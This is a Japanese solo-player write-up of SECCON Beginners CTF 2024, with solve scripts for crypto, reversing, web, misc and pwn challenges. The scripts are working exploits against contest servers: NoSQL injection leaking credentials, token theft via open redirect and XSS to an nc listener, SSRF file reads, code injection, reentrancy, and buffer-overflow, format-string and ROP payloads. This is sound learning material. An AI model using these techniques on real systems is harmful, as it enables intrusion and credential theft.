SECCON Beginners CTF 2024 にソロで参加しました。3位でした。
crypto
Safe Prime
方程式を解きました。
from Crypto.Util.number import long_to_bytes n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291 e = 65537 c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861 p, q = var('p, q') anss = solve([q == p * 2 + 1, n == p * q], p, q) for ans in anss: pt = ans[0].roots()[0][0] qt = ans[1].roots()[0][0] if pt.is_integer() and Integer(pt).is_prime(): phi = (pt - 1) * (qt - 1) d = mod(e, phi) ^ -1 m = mod(c, n) ^ d print(long_to_bytes(int(m)))
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}
math
を全通り試しました。
import itertools import functools from Crypto.Util.number import long_to_bytes n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289 e = 65537 c = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474 ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289 ab_sqrt = ab.isqrt() # 3 * 173 * 199 * 306606827773 * 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 * 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 fs = [3, 173, 199, 306606827773] for exps in itertools.product(range(2), repeat=4): a_sqrt = functools.reduce(lambda prod, v: prod * v, [f ^ exp for f, exp in zip(fs, exps)]) * 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 b_sqrt = ab_sqrt / a_sqrt a = a_sqrt ^ 2 b = b_sqrt ^ 2 x = var('x') anss = solve(n == (x + a) * (x + b), x) for ans in anss: xt = ans.roots()[0][0] if xt.is_integer() and Integer(xt).is_square(): p = xt + a q = xt + b phi = (p - 1) * (q - 1) d = mod(e, phi) ^ -1 m = mod(c, n) ^ d print(long_to_bytes(int(m)))
ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}
reversing
assemble
beginnerだし言われた通りにやるだけ、、、と思いきや、3問目の標準出力がずっと b''
から変わらず詰まりました。
mov rax, 0x123
mov rax, 0x123 push rax
mov rax, 0x6f6c6c6548 push rax push rax mov rdi, 1 mov rsi, rsp mov rdx, 0x10 mov rax, 1 syscall
push 0x0 mov rax, 0x7478742e67616c66 push rax mov rdi, rsp mov rsi, 0 mov rax, 2 syscall mov rdi, 3 mov rsi, rsp mov rdx, 0x37 mov rax, 0 syscall mov rdi, 1 mov rsi, rsp mov rdx, 0x37 mov rax, 1 syscall
ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
cha-ll-enge
雰囲気で読みました。そして今、cha-ll-enge がLLVMを示唆していることに気付きました...!
from pwn import * key = bytes([119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]) print(xor(key[:-1], key[1:]))
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
construct
DT_INIT_ARRAY
に登録されている各関数から、真心込めて手作業で文字列を抜き出しました。
keys = [ 'c0_d4yk261hbosje893w5igzfrvaumqlptx7n', 'oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5', 'lzau7rvb9qh5_1ops6jg3ykf8x0emtcind24w', '9_xva4uchnkyi6wb2ld507p8g3stfej1rzqmo', 'r8x9wn65701zvbdfp4ioqc2hy_juegkmatls3', 'tufij3cykhrsl841qo6_0dwg529zanmbpvxe7', 'b0i21csjhqug_3erat9f6mx854pyol7zkvdwn', '17zv5h6wjgbqerastioc294n0lxu38fdk_ypm', '1cgovr4tzpnj29ay3_8wk7li6uqfmhe50bdsx', '3icj_go9qd0svxubefh14ktywpzma2l7nr685', 'c7l9532k0avfxso4uzipd18egbnyw6rm_tqjh', 'l8s0xb4i1frkv6a92j5eycng3mwpzduqth_7o', 'l539rbmoifye0u6dj1pw8nqt_74sz2gkvaxch', 'aj_d29wcrqiok53b7tyn0p6zvfh1lxgum48es', '3mq16t9yfs842cbvlw5j7k0prohengduzx_ai', '_k6nj8hyxvzcgr1bu2petf5qwl09ids!om347a', ] print(f'ctf4b{{{"".join(k[i*2:i*2+2] for i, k in enumerate(keys))}}}')
ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
former-seccomp
入力との比較対象がフラグそのものだったため表示しました。
import gdb gdb.execute('b *0x5555555557d3') gdb.execute('r <<< ctf4b{01234567890123456789012345} > /dev/null') flag = 'ctf4b{' + gdb.execute('x/s $rax', to_string=True).split()[-1].strip('"') + '}' print(flag) gdb.execute('c') gdb.execute('q')
ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}
misc
getRank
parseInt()
で基数を省略した際の挙動を利用しました。
import requests data = {'input': '0x' + 'f' * 256} r = requests.post('https://getrank.beginners.seccon.games/', json=data) print(r.json()['message'])
ctf4b{15_my_5c0r3_700000_b1g?}
vote4b
isIssued
を true
にする前に _safeMint()
を呼んでいたためリエントラントしました。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.25; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import { Setup } from "./Setup.sol"; import { Ballot } from "./Ballot.sol"; contract Solve is IERC721Receiver { Setup public setup; Ballot public ballot; uint public count; constructor(address setupAddr) { setup = Setup(setupAddr); ballot = setup.ballot(); count = 0; } function solve() public { setup.register(); ballot.issueBallot(); for (uint i = 1; i <= 10; i++) { ballot.voteForCandidate(i, address(setup)); } } function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) { if (++count < 10) { ballot.issueBallot(); } return this.onERC721Received.selector; } }
ctf4b{Re-3n7r4ncyyYYYyyyyYYYYyYYYyyYyYY!}
clamre
思い切り見えている正規表現を信じてよいか不安だったため sigtool --decode
しました。変わりませんでした。
VIRUS NAME: ClamoraFlag TDB: Engine:81-255,Target:0 LOGICAL EXPRESSION: 1 * SUBSIG ID 0 +-> OFFSET: ANY +-> SIGMOD: NONE +-> DECODED SUBSIGNATURE: ctf4 * SUBSIG ID 1 +-> OFFSET: ANY +-> SIGMOD: NONE +-> DECODED SUBSIGNATURE: +-> TRIGGER: 0 +-> REGEX: ^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$ +-> CFLAGS: (null)
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
commentator
UTF-7として解釈させました。
from pwn import * with remote('commentator.beginners.seccon.games', 4444) as r: r.sendlineafter(b'>>> ', b'-*- coding: utf_7 -*-') r.sendlineafter(b'>>> ', b'+AAo-import subprocess') r.sendlineafter(b'>>> ', b'+AAo-subprocess.run("cat /flag*", shell=True)') r.sendlineafter(b'>>> ', b'__EOF__') r.stream()
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}
web
wooorker
クエリにトークンが含まれていたため、うちに来てもらいました。
import subprocess import threading import requests MY_HOST = ... MY_PORT = 31337 BASE_URL = 'https://wooorker.beginners.seccon.games' def serve(dto): result = subprocess.run(f'nc -l {MY_PORT}', shell=True, capture_output=True).stdout dto['token'] = result.splitlines()[0].split()[1].split(b'=')[1].decode() dto = {} t = threading.Thread(target=serve, args=(dto,)) t.start() data = {'path': f'login?next=http://{MY_HOST}:{MY_PORT}/'} requests.post(f'{BASE_URL}/report', json=data) t.join() headers = {'Authorization': f'Bearer {dto["token"]}'} r = requests.get(f'{BASE_URL}/flag', headers=headers) print(r.json()['flag'])
ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}
ssrforlfi
curlのドキュメントを読みました。
import requests import re r = requests.get('https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ') m = re.search('ctf4b{.*}', r.text) print(m.group(0))
ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
double-leaks
username
は長さと利用文字を特定してから愚直に1文字ずつ求め、 password_hash
は二分探索しました。
import requests import string def leak_username_length(): l = 0 r = 100 while r - l > 1: m = l + r >> 1 data = { 'username': {'$regex': f'.{{{m}}}'}, 'password_hash': {'$ne': 'hoge'}, } res = requests.post('https://double-leaks.beginners.seccon.games/login', json=data) if res.json()['message'] == 'DO NOT CHEATING': l = m else: r = m return l def leak_username_characters(): cs = [] for c in string.printable: data = { 'username': {'$regex': c}, 'password_hash': {'$ne': 'hoge'}, } res = requests.post('https://double-leaks.beginners.seccon.games/login', json=data) if res.json()['message'] == 'DO NOT CHEATING': cs.append(c) return cs def leak_username(n, cs): username = '' for _ in range(n): for c in cs: data = { 'username': {'$regex': f'^{username}{c}'}, 'password_hash': {'$ne': 'hoge'}, } res = requests.post('https://double-leaks.beginners.seccon.games/login', json=data) if res.json()['message'] == 'DO NOT CHEATING': username += c break else: raise Exception return username def leak_password_hash(): l = 0 r = 1 << 256 while r - l > 1: m = l + r >> 1 data = { 'username': {'$ne': 'hoge'}, 'password_hash': {'$gte': m.to_bytes(32, 'big').hex()}, } res = requests.post('https://double-leaks.beginners.seccon.games/login', json=data) if res.json()['message'] == 'DO NOT CHEATING': l = m else: r = m return l.to_bytes(32, 'big').hex() # n = leak_username_length() n = 15 # cs = leak_username_characters() # cs = ['0', '1', 'k', 'm', 'n', 'p', 'r', 'u', 'y', '$', '.', '^', '|'] cs = ['0', '1', 'k', 'm', 'n', 'p', 'r', 'u', 'y'] # username = leak_username(n, cs) username = 'ky0muky0mupur1n' # password_hash = leak_password_hash() password_hash = 'd36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a' data = { 'username': username, 'password_hash': password_hash, } res = requests.post('https://double-leaks.beginners.seccon.games/login', json=data) print(res.json()['message'])
ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}
wooorker2
ハッシュにトークンが含まれていたため、うちに来てもらいました。
import subprocess import http.server import threading import requests MY_HOST = ... MY_PORT = 31337 BASE_URL = 'https://wooorker2.beginners.seccon.games' def serve1(dto): result = subprocess.run(f'nc -l {MY_PORT}', shell=True, capture_output=True).stdout dto['token'] = result.splitlines()[0].split()[1].split(b'=')[1].decode() def serve2(): class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() self.wfile.write(f'<script>location.href = `http://{MY_HOST}:{MY_PORT}/${{location.hash.slice(1)}}`</script>'.encode()) with http.server.HTTPServer(('', MY_PORT + 1), Handler) as httpd: httpd.handle_request() dto = {} t1 = threading.Thread(target=serve1, args=(dto,)) t2 = threading.Thread(target=serve2) t1.start() t2.start() data = {'path': f'login?next=http://{MY_HOST}:{MY_PORT + 1}/'} requests.post(f'{BASE_URL}/report', json=data) t1.join() t2.join() headers = {'Authorization': f'Bearer {dto["token"]}'} r = requests.get(f'{BASE_URL}/flag', headers=headers) print(r.json()['flag'])
ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}
flagAlias
フェイクフラグが flag.ts
を読み込んでほしそうにしていたため import()
しました。
import requests BASE_URL = 'https://flagalias.beginners.seccon.games:38277' USERNAME = 'guest' PASSWORD = 'AXbAbYwGJ0vRV8rM' basic = requests.auth.HTTPBasicAuth(USERNAME, PASSWORD) data = {'alias': 'import("./fla" + "g.ts").then(module => { for (const key in module) { if (key !== "getFakeFlag") return key; } })'} r = requests.post(f'{BASE_URL}/', auth=basic, json=data) function_name = r.json()[2][0] # data = {'alias': f'import("./fla" + "g.ts").then(module => module.{function_name}())'} # r = requests.post(f'{BASE_URL}/', auth=basic, json=data) # print(r.json()[2][0]) data = {'alias': f'import("./fla" + "g.ts").then(module => module.{function_name}.toString())'} r = requests.post(f'{BASE_URL}/', auth=basic, json=data) print(r.json()[2][0])
ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}
htmls
<object>
のfallback contentを利用しました。
import http.server import threading import string import requests MY_HOST = ... MY_PORT = 31337 BASE_URL = 'https://htmls.beginners.seccon.games' def serve(dto): class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() dto['not_exists'].append(self.path) with http.server.HTTPServer(('', MY_PORT), Handler) as httpd: dto['httpd'] = httpd httpd.serve_forever() cs = string.digits + string.ascii_lowercase dto = {} t = threading.Thread(target=serve, args=(dto,)) t.start() path = '/var/www/htmls/ctf/' while True: dto['not_exists'] = [] html = '' for c in cs: html += f''' <object data="{path}{c}"> <object data="http://{MY_HOST}:{MY_PORT}{path}{c}"></object> </object> ''' data = {'html': html} requests.post(f'{BASE_URL}/', data=data) t.join(10) candidates = [] for c in cs: if f'{path}{c}' not in dto['not_exists']: candidates.append(f'{path}{c}/') if len(candidates) == 1: path = candidates[0] elif len(candidates) == 0: break dto['httpd'].shutdown() r = requests.get(f'{BASE_URL}/flag/{path[len("/var/www/htmls/ctf/"):]}') print(r.text)
ctf4b{h7ml_15_7h3_l5_c0mm4nd_h3h3h3!}
pwnable
simpleoverflow
is_admin
を破壊しました。
from pwn import * with remote('simpleoverflow.beginners.seccon.games', 9000) as r: payload = b'A' * 0x10 r.sendafter(b'name:', payload) r.stream()
ctf4b{0n_y0ur_m4rk}
simpleoverwrite
リターンアドレスを win()
に書き換えました。
from pwn import * target = ELF('chall') with remote('simpleoverwrite.beginners.seccon.games', 9001) as r: payload = b'' payload += b'A' * 18 payload += p64(target.symbols['win']) r.sendlineafter(b'input:', payload) r.stream()
ctf4b{B3l13v3_4g41n}
pure-and-easy
context.arch
の指定漏れにしばらく気付きませんでした。
from pwn import * context.arch = 'amd64' target = ELF('chall') with remote('pure-and-easy.beginners.seccon.games', 9000) as r: writes = {target.got['exit']: target.symbols['win']} payload = fmtstr_payload(6, writes) r.sendlineafter(b'> ', payload) r.stream()
ctf4b{Y0u_R34lly_G0T_M3}
gachi-rop
フラグのパスが /flag.txt
でないことにしばらく気付きませんでした。
from pwn import * context.arch = 'amd64' target = ELF('gachi-rop') libc = ELF('libc.so.6') POP_RDI = next(libc.search(asm('pop rdi; ret'), executable=True)) POP_RSI = next(libc.search(asm('pop rsi; ret'), executable=True)) POP_RDX_R12 = next(libc.search(asm('pop rdx; pop r12; ret'), executable=True)) POP_RAX = next(libc.search(asm('pop rax; ret'), executable=True)) SYSCALL = next(libc.search(asm('syscall; ret'), executable=True)) with remote('gachi-rop.beginners.seccon.games', 4567) as r: LIBC_BASE = int(r.recvline().split(b'@')[1], 16) - libc.symbols['system'] print(hex(LIBC_BASE)) # payload = b'' # payload += b'A' * 0x18 # # read(STDIN_FILENO, bss, 0x400) # payload += p64(LIBC_BASE + POP_RDI) + p64(0) # payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x100)) # payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0) # payload += p64(LIBC_BASE + POP_RAX) + p64(0) # payload += p64(LIBC_BASE + SYSCALL) # # fd = open(bss, O_RDONLY) # payload += p64(LIBC_BASE + POP_RDI) + p64(target.bss(0x100)) # payload += p64(LIBC_BASE + POP_RSI) + p64(0) # payload += p64(LIBC_BASE + POP_RAX) + p64(2) # payload += p64(LIBC_BASE + SYSCALL) # # getdents(fd, bss, 0x400) # payload += p64(LIBC_BASE + POP_RDI) + p64(3) # payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x200)) # payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0) # payload += p64(LIBC_BASE + POP_RAX) + p64(78) # payload += p64(LIBC_BASE + SYSCALL) # # write(STDOUT_FILENO, bss, 0x400) # payload += p64(LIBC_BASE + POP_RDI) + p64(1) # payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x200)) # payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0) # payload += p64(LIBC_BASE + POP_RAX) + p64(1) # payload += p64(LIBC_BASE + SYSCALL) # r.sendlineafter(b'Name: ', payload) # r.sendline(b'ctf4b/\x00') payload = b'' payload += b'A' * 0x18 # read(STDIN_FILENO, bss, 0x400) payload += p64(LIBC_BASE + POP_RDI) + p64(0) payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x100)) payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0) payload += p64(LIBC_BASE + POP_RAX) + p64(0) payload += p64(LIBC_BASE + SYSCALL) # fd = open(bss, O_RDONLY) payload += p64(LIBC_BASE + POP_RDI) + p64(target.bss(0x100)) payload += p64(LIBC_BASE + POP_RSI) + p64(0) payload += p64(LIBC_BASE + POP_RAX) + p64(2) payload += p64(LIBC_BASE + SYSCALL) # read(fd, bss, 0x400) payload += p64(LIBC_BASE + POP_RDI) + p64(3) payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x200)) payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0) payload += p64(LIBC_BASE + POP_RAX) + p64(0) payload += p64(LIBC_BASE + SYSCALL) # write(STDOUT_FILENO, bss, 0x400) payload += p64(LIBC_BASE + POP_RDI) + p64(1) payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x200)) payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0) payload += p64(LIBC_BASE + POP_RAX) + p64(1) payload += p64(LIBC_BASE + SYSCALL) r.sendlineafter(b'Name: ', payload) r.sendline(b'ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt\x00') r.interactive()
ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}
welcome
Welcome
Discordに招待されました。
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}
感想
そこそこ長くCTFをやってきましたが、3位以内に入ったのは初めてです。とても嬉しいです。
経験の浅いカーネルエクスプロイト( kbuf )を解いてから苦手なcryptoをやろうと思っていたのですが、8時間掛けてRIPを取るところまでしか行けませんでした。とても悔しいです。